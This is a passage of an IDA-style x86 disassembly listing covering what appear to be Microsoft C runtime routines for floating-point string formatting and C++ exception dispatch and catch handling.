and byte ptr [eax+1], 0
jmp short loc_418215
; ---------------------------------------------------------------------------
loc_4181E5: ; CODE XREF: sub_4181AA+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_41BE6F
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_41BDF8
add esp, 14h
loc_418215: ; CODE XREF: sub_4181AA+22j
; sub_4181AA+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_418223
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_418223: ; CODE XREF: sub_4181AA+70j
mov eax, [esi+4]
test eax, eax
jg short loc_41823A
push 1
push edi
call sub_4183BE
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_41823C
; ---------------------------------------------------------------------------
loc_41823A: ; CODE XREF: sub_4181AA+7Ej
add edi, eax
loc_41823C: ; CODE XREF: sub_4181AA+8Ej
test ebx, ebx
jle short loc_418281
push 1
push edi
call sub_4183BE
mov al, ds:byte_42D300
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_418281
cmp ds:byte_45E870, 0
jz short loc_418266
neg esi
jmp short loc_41826C
; ---------------------------------------------------------------------------
loc_418266: ; CODE XREF: sub_4181AA+B6j
neg esi
cmp ebx, esi
jl short loc_41826E
loc_41826C: ; CODE XREF: sub_4181AA+BAj
mov ebx, esi
loc_41826E: ; CODE XREF: sub_4181AA+C0j
push ebx
push edi
call sub_4183BE
push ebx
push 30h
push edi
call sub_413630
add esp, 14h
loc_418281: ; CODE XREF: sub_4181AA+94j
; sub_4181AA+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_4181AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418288 proc near ; CODE XREF: sub_41836D+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_41BE6F
mov ds:dword_45E86C, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov ds:dword_45E874, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_41BDF8
mov eax, ds:dword_45E86C
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp ds:dword_45E874, ecx
setl cl
mov ds:byte_45E878, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov ds:dword_45E874, eax
jl short loc_41830E
cmp eax, ebx
jge short loc_41830E
test cl, cl
jz short loc_4182FF
loc_4182F5: ; CODE XREF: sub_418288+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_4182F5
and [esi-2], al
loc_4182FF: ; CODE XREF: sub_418288+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_41834A
add esp, 0Ch
jmp short loc_41831E
; ---------------------------------------------------------------------------
loc_41830E: ; CODE XREF: sub_418288+63j
; sub_418288+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_418323
add esp, 10h
loc_41831E: ; CODE XREF: sub_418288+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418288 endp
; =============== S U B R O U T I N E =======================================
sub_418323 proc near ; CODE XREF: sub_418288+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov ds:byte_45E870, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4180A6
and ds:byte_45E870, 0
add esp, 10h
retn
sub_418323 endp
; =============== S U B R O U T I N E =======================================
sub_41834A proc near ; CODE XREF: sub_418288+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov ds:byte_45E870, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4181AA
and ds:byte_45E870, 0
add esp, 0Ch
retn
sub_41834A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41836D proc near ; DATA XREF: sub_413FE9o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_4183A8
cmp [ebp+arg_8], 45h
jz short loc_4183A8
cmp [ebp+arg_8], 66h
jnz short loc_418395
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4181AA
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418395: ; CODE XREF: sub_41836D+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_418288
jmp short loc_4183B9
; ---------------------------------------------------------------------------
loc_4183A8: ; CODE XREF: sub_41836D+7j
; sub_41836D+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4180A6
loc_4183B9: ; CODE XREF: sub_41836D+39j
add esp, 10h
pop ebp
retn
sub_41836D endp
; =============== S U B R O U T I N E =======================================
sub_4183BE proc near ; CODE XREF: sub_4180A6+2Cp
; sub_4181AA+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_4183E1
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_413DB0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_414520
add esp, 10h
pop esi
loc_4183E1: ; CODE XREF: sub_4183BE+7j
pop edi
retn
sub_4183BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4183E3 proc near ; CODE XREF: seg000:004141CCp
; sub_414235+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_4183F9
call sub_418C82
loc_4183F9: ; CODE XREF: sub_4183E3+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_418421
cmp dword ptr [esi+4], 0
jz short loc_418477
cmp [ebp+arg_14], 0
jnz short loc_418477
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_41872A
add esp, 10h
jmp short loc_418477
; ---------------------------------------------------------------------------
loc_418421: ; CODE XREF: sub_4183E3+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_418477
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41845B
cmp [eax+14h], edi
jbe short loc_41845B
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_41845B
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_41847A
; ---------------------------------------------------------------------------
loc_41845B: ; CODE XREF: sub_4183E3+4Aj
; sub_4183E3+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_41847E
add esp, 20h
loc_418477: ; CODE XREF: sub_4183E3+23j
; sub_4183E3+29j ...
push 1
pop eax
loc_41847A: ; CODE XREF: sub_4183E3+76j
pop edi
pop esi
pop ebp
retn
sub_4183E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41847E proc near ; CODE XREF: sub_4183E3+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_41849E
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_4184A3
loc_41849E: ; CODE XREF: sub_41847E+16j
call sub_418C82
loc_4184A3: ; CODE XREF: sub_41847E+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_4185FA
cmp dword ptr [esi+10h], 3
jnz short loc_418517
cmp [esi+14h], edi
jnz short loc_418517
cmp dword ptr [esi+1Ch], 0
jnz short loc_418517
mov esi, ds:dword_45E87C
test esi, esi
jz loc_4185F5
mov eax, ds:dword_45E880
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_41BFF6
pop ecx
test eax, eax
pop ecx
jnz short loc_4184F9
call sub_418C82
loc_4184F9: ; CODE XREF: sub_41847E+74j
cmp [esi], ebx
jnz loc_4185FA
cmp dword ptr [esi+10h], 3
jnz short loc_418517
cmp [esi+14h], edi
jnz short loc_418517
cmp dword ptr [esi+1Ch], 0
jnz short loc_418517
call sub_418C82
loc_418517: ; CODE XREF: sub_41847E+41j
; sub_41847E+46j ...
cmp [esi], ebx
jnz loc_4185FA
cmp dword ptr [esi+10h], 3
jnz loc_4185FA
cmp [esi+14h], edi
jnz loc_4185FA
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_414383
add esp, 14h
mov ebx, eax
loc_41854E: ; CODE XREF: sub_41847E+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_4185E5
cmp [ebx], edi
jg short loc_4185DA
cmp edi, [ebx+4]
jg short loc_4185DA
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_4185D7
loc_418573: ; CODE XREF: sub_41847E+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_4185A4
loc_418585: ; CODE XREF: sub_41847E+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_4186CD
add esp, 0Ch
test eax, eax
jnz short loc_4185B3
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_418585
loc_4185A4: ; CODE XREF: sub_41847E+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_418573
jmp short loc_4185D7
; ---------------------------------------------------------------------------
loc_4185B3: ; CODE XREF: sub_41847E+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4187DE
add esp, 2Ch
loc_4185D7: ; CODE XREF: sub_41847E+F3j
; sub_41847E+133j
mov edi, [ebp+var_10]
loc_4185DA: ; CODE XREF: sub_41847E+DEj
; sub_41847E+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_41854E
; ---------------------------------------------------------------------------
loc_4185E5: ; CODE XREF: sub_41847E+D6j
cmp [ebp+arg_14], 0
jz short loc_4185F5
push 1
push esi
call sub_418B53
pop ecx
pop ecx
loc_4185F5: ; CODE XREF: sub_41847E+56j
; sub_41847E+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4185FA: ; CODE XREF: sub_41847E+37j
; sub_41847E+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_418620
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_418625
add esp, 20h
jmp short loc_4185F5
; ---------------------------------------------------------------------------
loc_418620: ; CODE XREF: sub_41847E+180j
jmp sub_418C2C
sub_41847E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418625 proc near ; CODE XREF: sub_41847E+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp ds:dword_45E884, 0
push esi
push edi
jz short loc_418656
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41425A
add esp, 1Ch
test eax, eax
jnz short loc_4186C9
loc_418656: ; CODE XREF: sub_418625+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_414383
add esp, 14h
mov esi, eax
loc_418672: ; CODE XREF: sub_418625+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_4186C9
cmp edi, [esi]
jl short loc_4186C1
cmp edi, [esi+4]
jg short loc_4186C1
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_41869B
cmp byte ptr [ecx+8], 0
jnz short loc_4186C1
loc_41869B: ; CODE XREF: sub_418625+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4187DE
add esp, 2Ch
loc_4186C1: ; CODE XREF: sub_418625+57j
; sub_418625+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_418672
; ---------------------------------------------------------------------------
loc_4186C9: ; CODE XREF: sub_418625+2Fj
; sub_418625+53j
pop edi
pop esi
leave
retn
sub_418625 endp
; =============== S U B R O U T I N E =======================================
sub_4186CD proc near ; CODE XREF: sub_41847E+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_418724
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_418724
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_4186FE
add ecx, 8
push ecx
push edx
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_418720
loc_4186FE: ; CODE XREF: sub_4186CD+1Fj
test byte ptr [esi], 2
jz short loc_418708
test byte ptr [edi], 8
jz short loc_418720
loc_418708: ; CODE XREF: sub_4186CD+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_418717
test byte ptr [edi], 1
jz short loc_418720
loc_418717: ; CODE XREF: sub_4186CD+43j
test al, 2
jz short loc_418724
test byte ptr [edi], 2
jnz short loc_418724
loc_418720: ; CODE XREF: sub_4186CD+2Fj
; sub_4186CD+39j ...
xor eax, eax
jmp short loc_418727
; ---------------------------------------------------------------------------
loc_418724: ; CODE XREF: sub_4186CD+Bj
; sub_4186CD+14j ...
push 1
pop eax
loc_418727: ; CODE XREF: sub_4186CD+55j
pop edi
pop esi
retn
sub_4186CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41872A proc near ; CODE XREF: sub_4183E3+34p
; sub_4187DE+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41F7F0
push offset sub_41AE98
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_41875C: ; CODE XREF: sub_41872A+8Aj
cmp esi, [ebp+arg_C]
jz short loc_4187B6
cmp esi, 0FFFFFFFFh
jle short loc_41876B
cmp esi, [edi+4]
jl short loc_418770
loc_41876B: ; CODE XREF: sub_41872A+3Aj
call sub_418C82
loc_418770: ; CODE XREF: sub_41872A+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_41878B
push 103h
push ebx
push eax
call sub_418BE0
loc_41878B: ; CODE XREF: sub_41872A+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4187AB
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_4187C8
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_4187AB: ; CODE XREF: sub_41872A+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_41875C
; ---------------------------------------------------------------------------
loc_4187B6: ; CODE XREF: sub_41872A+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41872A endp
; =============== S U B R O U T I N E =======================================
sub_4187C8 proc near ; CODE XREF: sub_41872A+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_4187D9
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4187D9: ; CODE XREF: sub_4187C8+Cj
jmp sub_418C2C
sub_4187C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187DE proc near ; CODE XREF: sub_41847E+151p
; sub_418625+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_418800
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_41898F
add esp, 10h
loc_418800: ; CODE XREF: sub_4187DE+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_41880C
push edi
jmp short loc_41880F
; ---------------------------------------------------------------------------
loc_41880C: ; CODE XREF: sub_4187DE+29j
push [ebp+arg_24]
loc_41880F: ; CODE XREF: sub_4187DE+2Cj
call sub_41415C
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_41872A
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_418859
add esp, 2Ch
test eax, eax
jz short loc_418854
push edi
push eax
call sub_41411A
loc_418854: ; CODE XREF: sub_4187DE+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4187DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418859 proc near ; CODE XREF: sub_4187DE+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41F800
push offset sub_41AE98
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, ds:dword_45E87C
mov [ebp+var_1C], ecx
mov ecx, ds:dword_45E880
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov ds:dword_45E87C, edi
mov ecx, [ebp+arg_8]
mov ds:dword_45E880, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_4141E1
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_41891F
mov eax, [ebp+var_2C]
loc_4188E6: ; CODE XREF: sub_4188FF+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_418859 endp
; =============== S U B R O U T I N E =======================================
sub_4188F5 proc near ; DATA XREF: seg001:0041F810o
push dword ptr [ebp-14h]
call sub_418965
pop ecx
retn
sub_4188F5 endp
; =============== S U B R O U T I N E =======================================
sub_4188FF proc near ; DATA XREF: seg001:0041F814o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_414442
pop ecx
pop ecx
xor eax, eax
jmp short loc_4188E6
sub_4188FF endp
; ---------------------------------------------------------------------------
loc_418917: ; DATA XREF: seg001:0041F808o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_41891F proc near ; CODE XREF: sub_418859+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov ds:dword_45E87C, eax
mov eax, [ebp-20h]
mov ds:dword_45E880, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_418964
cmp dword ptr [edi+10h], 3
jnz short locret_418964
cmp dword ptr [edi+14h], 19930520h
jnz short locret_418964
cmp [ebp-24h], ebx
jnz short locret_418964
cmp [ebp-2Ch], ebx
jz short locret_418964
call sub_4144AA
push eax
push edi
call sub_418B53
pop ecx
pop ecx
locret_418964: ; CODE XREF: sub_41891F+1Cj
; sub_41891F+22j ...
retn
sub_41891F endp
; =============== S U B R O U T I N E =======================================
sub_418965 proc near ; CODE XREF: sub_4188F5+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41898C
cmp dword ptr [eax+10h], 3
jnz short loc_41898C
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41898C
cmp dword ptr [eax+1Ch], 0
jnz short loc_41898C
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41898C: ; CODE XREF: sub_418965+Cj
; sub_418965+12j ...
xor eax, eax
retn
sub_418965 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41898F proc near ; CODE XREF: sub_4187DE+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41F818
push offset sub_41AE98
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_418B38
cmp byte ptr [eax+8], 0
jz loc_418B38
mov eax, [ecx+8]
test eax, eax
jz loc_418B38
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_418A2C
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_41BFF6
pop ecx
pop ecx
test eax, eax
jz loc_418B2F
push 1
push edi
call sub_41C012
pop ecx
pop ecx
test eax, eax
jz loc_418B2F
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_418A1D: ; CODE XREF: sub_41898F+F5j
push eax
call sub_418BBA
pop ecx
pop ecx
mov [edi], eax
jmp loc_418B34
; ---------------------------------------------------------------------------
loc_418A2C: ; CODE XREF: sub_41898F+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_418A86
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_41BFF6
pop ecx
pop ecx
test eax, eax
jz loc_418B2F
push 1
push edi
call sub_41C012
pop ecx
pop ecx
test eax, eax
jz loc_418B2F
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_414520
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_418B34
mov eax, [edi]
test eax, eax
jz loc_418B34
add esi, 8
push esi
jmp short loc_418A1D
; ---------------------------------------------------------------------------
loc_418A86: ; CODE XREF: sub_41898F+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_418ACE
call sub_41BFF6
pop ecx
pop ecx
test eax, eax
jz loc_418B2F
push 1
push edi
call sub_41C012
pop ecx
pop ecx
test eax, eax
jz short loc_418B2F
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_418BBA
pop ecx
pop ecx
push eax
push edi
call sub_414520
add esp, 0Ch
jmp short loc_418B34
; ---------------------------------------------------------------------------
loc_418ACE: ; CODE XREF: sub_41898F+103j
call sub_41BFF6
pop ecx
pop ecx
test eax, eax
jz short loc_418B2F
push 1
push edi
call sub_41C012
pop ecx
pop ecx
test eax, eax
jz short loc_418B2F
push dword ptr [esi+18h]
call sub_41C02E
pop ecx
test eax, eax
jz short loc_418B2F
test byte ptr [esi], 4
jz short loc_418B15
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_418BBA
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_414155
jmp short loc_418B34
; ---------------------------------------------------------------------------
loc_418B15: ; CODE XREF: sub_41898F+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_418BBA
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41414E
jmp short loc_418B34
; ---------------------------------------------------------------------------
loc_418B2F: ; CODE XREF: sub_41898F+6Aj
; sub_41898F+7Cj ...
call sub_418C82
loc_418B34: ; CODE XREF: sub_41898F+98j
; sub_41898F+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_418B38: ; CODE XREF: sub_41898F+2Ej
; sub_41898F+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41898F endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_418C2C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418B53 proc near ; CODE XREF: sub_41847E+170p
; sub_41891F+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41F828
push offset sub_41AE98
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_418B9A
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_418B9A
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41414E
or [ebp+var_4], 0FFFFFFFFh
loc_418B9A: ; CODE XREF: sub_418B53+2Aj
; sub_418B53+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_418B53 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_418C2C
; =============== S U B R O U T I N E =======================================
sub_418BBA proc near ; CODE XREF: sub_41898F+8Fp
; sub_41898F+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_418BDB
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_418BDB: ; CODE XREF: sub_418BBA+12j
pop esi
retn
